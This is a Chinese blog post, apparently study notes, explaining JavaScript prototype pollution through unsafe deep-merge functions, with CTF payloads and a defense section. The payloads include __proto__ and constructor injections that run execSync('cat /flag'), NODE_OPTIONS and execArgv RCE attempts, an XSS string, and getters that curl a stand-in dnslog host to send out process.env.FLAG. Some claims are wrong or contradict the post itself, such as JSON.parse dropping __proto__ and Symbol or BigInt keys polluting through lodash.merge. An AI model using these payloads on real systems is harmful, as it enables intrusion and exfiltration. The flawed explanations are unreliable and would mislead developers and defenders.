js原型链

前提:

一、constructor 是什么

每个对象都能通过原型链访问到 constructor :

var obj = {};
obj.constructor === Object;  // true
// 因为 obj.__proto__ === Object.prototype
// 而 Object.prototype.constructor === Object

二、对象是什么

在javascript中,对象(Object) 是最核心的数据结构之一,它本质上是一个无序的键值对集合,可以存储任意类型的数据,包括其他对象、函数、数组,如下:

const user = {
  name: "张三",
  age: 25,
  isAdmin: false,
  address: { city: "北京", street: "长安街" } // 嵌套对象
};
##user 就是一个对象它包含了 nameageisAdmin  address 四个属性其中 address 本身也是一个对象这体现了对象的嵌套性

判断是否为对象:

console.log(typeof {});        // "object"
console.log(typeof []);        // "object" ← 注意!数组也是对象
console.log(typeof null);      // "object" ← 历史遗留 Bug!
console.log(typeof function(){}); // "function" ← 函数不是对象(虽然它有属性)

三、deepmerge函数(merge同理)

deepMerge(target, source)
  • target :要被修改的对象(合并的目标)
  • source :提供数据的对象(合并的来源)

效果 :把 source 里的属性 合并进 target 里

var target = { name: "Alice", age: 20 };
var source = { age: 25, city: "Beijing" };

deepMerge(target, source, 0);

// 结果:
// target = { name: "Alice", age: 25, city: "Beijing" }
//                    不变     被覆盖     新增

- name source 里没有,target 保留原值
- age source 里有,target 被覆盖
- city source 里有,target 没有,新增

四、原型链的遍历顺序与终止条件

当访问对象的某个属性时,引擎会按照以下顺序查找:

  1. 自身属性(own property)→ 2. 原型链上的属性 → 3. 直至 null 终止。

例如:

function Animal() {}
Animal.prototype.eat = function() {
    return "eating...";
};

const dog = new Animal();
dog.bark = function() {
    return "woof!";
};

console.log(dog.eat());        // "eating..." —— 来自原型链
console.log(dog.bark());       // "woof!" —— 来自自身属性
console.log(dog.toString());   // "[object Object]" —— 来自 Object.prototype
console.log(dog.__proto__.__proto__); // null复制

深入解析

  • dog.__proto__Animal.prototype
  • dog.__proto__.__proto__Object.prototype
  • dog.__proto__.__proto__.__proto__null(原型链终点)

这说明所有对象最终都继承自 Object.prototype,它是整个原型树的根节点

五、__proto__

由于 __proto__ 是所有对象共有的内置属性,攻击者可通过构造含有 __proto__ 字段的对象输入,使合并函数将其误认为普通属性进行递归处理,从而污染 Object.prototype

在 JavaScript 中,每个对象都有一个内部链接 __proto__ 指向其构造函数的 prototype,形成一条链条:

obj  __proto__  Constructor.prototype  __proto__  Object.prototype  null
  • Object.prototype 是所有对象的“根原型”,没有父级。
  • 当访问对象属性时,引擎会按顺序查找:
  • 实例自身是否有该属性?
  • 若无,则沿 __proto__ 向上查找原型链;
  • 直到找到或到达 null

这正是原型污染得以实现的根本原因

一、原型污染的核心思想回顾

原型污染的本质,是利用JavaScript原型链的继承机制,通过向Object.prototype或其祖先原型注入恶意属性,使所有后续创建的对象自动继承该污染属性。这种攻击不是传统意义上的输入注入(如SQL注入、命令注入),而是一种对语言特性的“滥用”,其核心在于原型链的遍历逻辑未被正确限制

深入剖析:为何原型污染具有全局危害性?

在JavaScript中,每个对象都拥有一个内部的[[Prototype]]指针(可通过__proto__访问),指向其原型对象。当访问某个对象的属性时,引擎会按照如下顺序查找:

  1. 优先检查对象自身的属性;
  2. 若不存在,则沿着原型链向上查找
  3. 直到找到目标属性,或到达链尾(即null)为止。

关键点Object.prototype是所有对象的顶层原型。一旦它被篡改,那么所有新创建的对象都会继承这个被污染的属性

受影响的知名库(历史版本)

CVE 修复版本
lodash merge/defaultsDeep CVE-2019-10744 ≥ 4.17.12
jQuery $.extend(deep) CVE-2019-11358 ≥ 3.4.0
hoek CVE-2018-3728 ≥ 5.0.3
minimist CVE-2020-7598 ≥ 1.2.3
lodash和jQuery是javascript工具库
hoke和minimist是Node.js工具库

举个例子:

// 路由处理逻辑(如 /api/config)

app.post('/api/config', (req, res) => {
    const config = req.body;                    // 用户可控
    const defaultConfig = { debug: false };     // 默认配置
    const merged = merge(defaultConfig, config); // 污染点
    res.json(merged);
});

① req.body — 用户完全可控

攻击者可以发送任意 JSON:

{
    "debug": true,
    "__proto__": {
        "isAdmin": true
    }
}

② merge 函数 — 漏洞根源

一个典型的不安全 merge 实现如下:

function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            // 如果值是对象,递归合并
            if (!target[key]) {
                target[key] = {};
            }
            merge(target[key], source[key]);  // ← 关键!递归进入 __proto__
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

③ 污染是如何发生的

让我用逐步推演的方式展示:

第1步merge(defaultConfig, attackerInput)

第2步遍历 attackerInput  key
  - key = "debug"   target["debug"] = true  正常赋值
  - key = "__proto__"  进入递归分支

第3步递归进入 merge(target["__proto__"], source["__proto__"])
        merge(defaultConfig.__proto__, { isAdmin: true })
        merge(Object.prototype, { isAdmin: true })

第4步遍历 { isAdmin: true }
  - key = "isAdmin"  Object.prototype["isAdmin"] = true   污染完成
defaultConfig.__proto__即{ debug: false }.__proto__{ debug: flase}是普通对象它的__proto__就是Object.prototype

核心原因 : for...in 循环会遍历__proto__这个 key,而 target["__proto__"]实际上访问的是 Object.prototype ,递归合并时就把属性写到了 Object.prototype 上

污染后的效果:

// 污染后,任何新创建的空对象都会继承被污染的属性
const user = {};
console.log(user.isAdmin); // true !!!

// 如果应用中有这样的权限检查:
if (user.isAdmin) {
    // 进入管理员逻辑 —— 被绕过了!
}

更危险的攻击

{
    "__proto__": {
        "shell": "node",
        "env": {
            "NODE_OPTIONS": "--require /proc/self/environ"
        }
    }
}

或者污染 toString 、 valueOf 等方法导致 RCE:

{
    "__proto__": {
        "toString": "require('child_process').execSync('calc')"
    }
}

深层理解:为什么 proto 能被遍历到

const obj = {};
obj.__proto__ === Object.prototype; // true

// __proto__ 只是一个访问器属性(getter/setter)
// 当你写 obj.__proto__ = xxx 时,实际上是在修改原型链

// for...in 循环会遍历对象自身的可枚举属性
// JSON 解析出的 { "__proto__": {...} } 中,__proto__ 是一个普通字符串 key
// 所以 for...in 会遍历到它

image-20260530182557911

这就是漏洞的本质 :JSON 中的字符串 key "__proto__"在 target[key] 访问时,被 JS 引擎解析为原型访问器,从而修改了 Object.prototype

总结流程图:

攻击者发送 JSON
    
    
{ "__proto__": { "isAdmin": true } }
    
    
merge()  for...in 遍历
    
    
遇到 key = "__proto__"
    
    
target["__proto__"]  访问到 Object.prototype
    
    
递归合并 isAdmin 写入 Object.prototype
    
    
所有对象都被污染{}.isAdmin === true

核心要点是: 不安全的递归合并 + __proto__ 作为 key 被遍历 = 原型链被污染

二、审计技巧:使用正则匹配潜在漏洞点

# 在项目根目录执行以下命令,扫描所有使用 merge/assign 的地方

grep -rE "(merge|assign)\s*\(\s*[^)]+,\s*[^)]+\)" . --include="*.js" --exclude-dir={node_modules,.git}

提示:结合 npx grep -r "__proto__" 查找是否显式处理该字段

常见危险函数清单(必须重点审查)

函数 风险等级 是否易受污染
lodash.merge(target, source) ⚠️ 高 ✅ 极易(尤其旧版本)
Object.assign(target, source) ⚠️ 中高 ✅ 可能(若source含__proto__
_.mergeWith(...) ⚠️ 高 ✅ 同上
JSON.parse() + 合并操作 ⚠️ 中 ❗注意:JSON.parse会忽略__proto__,但可被其他方式绕过
eval() 或动态执行代码 极高 ✅ 严重风险

注:还有clone/extend

三、CTF

一、简单__proto__

{
  "__proto__": { 
  "isAdmin": "true"
  }
}
{
  "__proto__": {
    "isAdmin": true,
    "flag": "flag{12345}",
    "toString": function() {
      return process.env.FLAG || "no flag";
    }
  }
}
##权限绕过if (user.isAdmin)  永远为真
##信息泄露{}.toString() 触发环境变量读取,污染object.prototype的污染tostring方法导致环境变量泄露

二、constructor注入

{
  "constructor": {
    "prototype": {
      "NODE_OPTIONS": "-r /flag"
    }
  }
}

#NODE_OPTIONS是一个环境变量,用于在启动Node.js时传递额外的命令行选项
#-r是 --require的简写,意思是在启动主模块之前预先加载(require)一个模块
#-r /flag意味着在Node.js启动时require(加载)一个/flag的文件
使用 constructor 注入 __proto__
{
  "constructor": {
    "prototype": {
      "__proto__": {
        "页面回显字段": "return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()"
      }
    }
  }
}
#global.process.mainModule.constructor._load('child_process') : 加载Node.js的child_process模块
#execSync('cat /flag') : 同步执行系统命令, 读取flag
#require('child_process')也可以加载

✅ 说明:constructor 是合法属性,其 prototype 可继续嵌套污染。

三、使用数组索引形式(绕过字符串匹配)

{
  "0": {
    "__proto__": {
      "flag": "test"
    }
  }
}

四、利用 __DEFINEGETTER__ / OBJECT.DEFINEPROPERTY 设置惰性加载属性

这种技术可用于延迟执行恶意代码,避免被立即检测。

示例:定义一个仅在访问时触发的 flag 属性
Object.prototype.__defineGetter__('flag', function() {
  const { execSync } = require('child_process');
  return execSync('curl https://your-dnslog.com/' + process.env.FLAG).toString();
});

使用方式

console.log({}.flag); // 自动触发命令执行

等价写法(现代语法):

Object.defineProperty(Object.prototype, 'flag', {
  get: function() {
    const { execSync } = require('child_process');
    execSync(`curl https://your-dnslog.com/?data=${process.env.FLAG}`);
    return 'executed';
  },
  enumerable: false
});

✅ 优势:不直接修改原型属性值,而是通过 getter 实现“按需执行

五、利用 SYMBOL BIGINT 绕过字符串匹配

某些防御措施会检查 key 是否为 "__proto__",但不会检查 Symbol 类型

// 使用 Symbol 作为键名
const symbolProto = Symbol('__proto__');
const payload = {
  [symbolProto]: {
    "isAdmin": true
  }
};

_.merge({}, payload);

✅ 说明:for (key in obj) 会跳过 Symbol 键,但 lodash.merge 在内部仍会处理这些键**(因其实现未做类型过滤),导致污染发生。

同样适用于 BigInt
const bigIntKey = BigInt(12345);
const payload = {
  [bigIntKey]: {
    "flag": "test"
  }
};
_.merge({}, payload);

重点:这类攻击在 Node.js 中非常有效,尤其在 lodash < 4.17.11

六、多层嵌套 + Symbol 混合

const payload = {
  [Symbol.for('proto')]: {
    '__proto__': {
      'toString': function() {
        const { execSync } = require('child_process');
        execSync('curl https://your-dnslog.com/?flag=' + process.env.FLAG);
        return '';
      }
    }
  }
};

✅ 优势:结合 Symbol 与多层嵌套,极大提高绕过成功率

注:global.process.mainModule.constructor._load('child_process') 和require('child_process')的区别

// 如果require被修改/劫持
const originalRequire = require;
require = function(module) {
  if (module === 'child_process') {
    throw new Error('禁止加载child_process');
  }
  return originalRequire(module);
};

// 正常require会被阻止
// const cp = require('child_process');  // 报错

// 但_load可能仍然可用
const Module = require('module');
const cp = Module._load('child_process');  // 可能成功

简单来说就是绕过时可以尝试用global.process.mainModule.constructor._load('child_process')

七、对于Json.parse()的详解

Json.parse()不解析__proto__字段,但后续若存在合并,则可能会被污染(merge(),assign(),clone(),reflect.set() 等等)

// 前端发送:
{
  "__proto__": { "evil": "yes" }
}

// 后端处理:
const data = JSON.parse(req.body.data); // __proto__ 被丢弃
const result = merge({}, data); // 仍然可以触发污染

⚠️ 注意:JSON.parse 会自动忽略 __proto__,但 merge 函数在循环 for (key in obj) 时并未过滤该字段,因此依然可被利用。

// 以下代码不会触发原型污染

const payload = '{"__proto__":{"malicious":33}}';
const obj = JSON.parse(payload);
console.log(obj.__proto__); // undefined

法一:

绕过:利用Constructor和prototype

// 绕过json限制,使用构造函数
const payload = '{"constructor":{"prototype":{"flag":"123"}}}';
const obj = JSON.parse(payload);
// 污染object.prototype
Object.prototype.flag = '123';
console.log({}.flag); // 123
因为 Constructor.prototype 合法结构,JSON.parse会解析它

法二:

使用数组索引测试(绕过字符匹配)

{
  "0": {
    "__proto__": {
      "flag": "test"
    }
  }
}

例如:

// 攻击者控制的输入(来自 JSON/请求参数):
const maliciousInput = JSON.parse('{"__proto__": {"isAdmin": true}}');

// 危险的 merge 操作:
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      merge(target[key], source[key]);  // 递归合并
    } else {
      target[key] = source[key];        // 直接赋值
    }
  }
}

merge({}, maliciousInput);
// 等效于:Object.prototype.isAdmin = true
// 之后所有对象的 isAdmin 属性都变成了 true!

具体解析:

为什么是 === 'object'

这行代码的目的是判断 source 对象中的某个属性值是否为一个对象

  • typeof 操作符:这个操作符会返回一个字符串,表示其操作数的类型。

例如:

  • typeof "hello"'string'
  • typeof 123'number'
  • typeof true'boolean'
  • typeof undefined'undefined'
  • typeof {a: 1}'object'
  • typeof [1, 2, 3]'object' (数组也是对象)
  • typeof null'object' (这是一个著名的历史遗留 Bug)

因此,if (typeof source[key] === 'object') 的意思是:“如果 source 对象的当前属性 key 的值是一个对象(或数组),则为真

这样做是为了实现深度合并(Deep Merge)。当遇到一个值是对象的属性时,代码不会简单地覆盖目标对象上的同名属性,而是会递归地调用 merge 函数,将源对象和目标对象中该属性的子属性也进行合并。


代码整体分析

现在我们来完整地看一下这段代码是如何工作的,以及它的危险之处。

攻击者的恶意输入

// 攻击者控制的输入(来自 JSON/请求参数):
const maliciousInput = JSON.parse('{"__proto__": {"isAdmin": true}}');

JSON.parse() 会将其解析成一个普通的 JavaScript 对象:{ __proto__: { isAdmin: true } }

危险的合并函数

// 危险的 merge 操作:
function merge(target, source) {
    for (let key in source) { // 遍历 source 的所有可枚举属性
        if (typeof source[key] === 'object') {
            // 如果属性值是对象,则递归合并,这里的深度为1,当要嵌套时,可能为merge(target,source,depth)加上个for循环来递归合并
            merge(target[key], source[key]);
        } else {
            // 否则,直接赋值
            target[key] = source[key];
        }
    }
}
  • 这个函数的作用是将 source 对象的内容合并到 target 对象中。
  • 它会遍历 source 的每一个属性(key)。
  • 正如我们刚才分析的,如果属性的值是对象,就递归;如果不是,就直接赋值。

漏洞如何被利用

假设我们有一个空的目标对象,并执行合并操作:

let userConfig = {};
merge(userConfig, maliciousInput);

让我们一步步跟踪这个过程:

  1. for...in 循环开始,key 的值是 "__proto__"
  2. 检查 maliciousInput["__proto__"] 的类型,它是一个对象 { isAdmin: true }
  3. 条件 typeof ... === 'object' 成立,于是进入 if 分支。
  4. 执行递归调用:merge(userConfig["__proto__"], maliciousInput["__proto__"])
  5. 关键步骤userConfig["__proto__"] 实际上访问的是 userConfig 对象的原型(即 Object.prototype)。所以,这次递归调用等同于 merge(Object.prototype, { isAdmin: true })
  6. 在新的递归调用中,key 的值是 "isAdmin"
  7. maliciousInput["__proto__"]["isAdmin"] 的值是 true,它不是对象。
  8. 条件不成立,进入 else 分支。
  9. 执行 Object.prototype["isAdmin"] = true

灾难性后果

通过上面的步骤,攻击者成功地在所有普通 JavaScript 对象的“祖先”——Object.prototype 上添加了一个新属性 isAdmin,并将其值设为 true

let newUser = {};
console.log(newUser.isAdmin); // 输出: true

let anotherUser = { name: "Alice" };
console.log(anotherUser.isAdmin); // 输出: true

八、点号绕过

前提:在某些框架或自定义解析器中点号被处理为嵌套结构

在 Node.js 中,点号可以用来表示嵌套结构。很多库(如 qs 、 body-parser 配合 qs 解析)会把点号解析为嵌套:

// 如果用 qs 解析,点号表示嵌套
var input = "constructor.prototype.admin=true";
// qs 解析后变成:
// { constructor: { prototype: { admin: "true" } } }

假设要向object.prototype注入属性role,值为admin

{
  "__proto__.role": "admin"
}

如果黑名单里只有 __proto__

则绕过了黑名单,虽然 __proto__.role不会被 JS 自动解析为嵌套属性,但在某些框架或自定义解析器中可能会被处理

注:还有

{
  "constructor.prototype": {
    "role": "admin"
  }
}

九、EVAL() 与上下文污染

eval() 执行不受信任的代码时,若其中包含对 Object.prototype 的修改,也会造成污染。

// 危险代码片段
const unsafeCode = `
  Object.prototype.secret = 'this is secret';
`;

eval(unsafeCode); // 执行后,所有对象都有 secret 属性

console.log({}.secret); // "this is secret"

八、原型链实战

【1】 RCE(远程代码执行)

污染特定属性,影响 Node.js 内置模块的行为:

// 污染 shell 相关属性
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--inspect=0.0.0.0:1337"}}

// 或污染 child_process.spawn 的配置
{"__proto__": {"execPath": "/bin/sh", "execArgv": ["-c", "id > /tmp/pwned"]}}

【2】 DoS

污染影响循环逻辑的属性,导致死循环或内存溢出:

// 污染 length 属性
{"__proto__": {"length": 100000000}}
// 影响数组操作,导致内存耗尽

【3】客户端(浏览器)危害

// XSS via 原型链污染
// 污染某个对象的属性影响 DOM 操作
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
// 若某处代码执行了 element[userControlledKey] = value
// 可能导致 XSS

九、 防御方案

Object.freeze(Object.prototype)

Object.freeze(Object.prototype);
// 冻结原型,任何写入操作都会被静默忽略(strict mode 下抛出错误)
// 最直接的防御,但可能影响某些依赖修改原型的库

Object.create(null) 创建无原型对象

// 创建一个没有原型链的"纯净"对象,不继承 Object.prototype
const safeDict = Object.create(null);
safeDict['__proto__'] = 'safe';  // 只是普通的键,不影响原型链
// 用于存储用户输入数据时最安全

③ 使用 Map 代替普通对象

// Map 的键值完全隔离,不存在原型链问题
const userProps = new Map();
userProps.set('__proto__', 'harmless');  // 只是普通数据

④ 过滤危险键名

function safeMerge(target, source) {
  const dangerousKeys = ['__proto__', 'constructor', 'prototype'];
  for (const key of Object.keys(source)) {
    if (dangerousKeys.includes(key)) continue;  // 过滤危险键
    // ...正常 merge 逻辑
  }
}

⑤ 使用 JSON Schema 校验

在反序列化用户输入之前,用 JSON Schema 严格定义允许的字段,拒绝含 __proto__ 的输入

posted @ 2026-06-18 15:46  Doll_Marker  阅读(11)  评论(0)    收藏  举报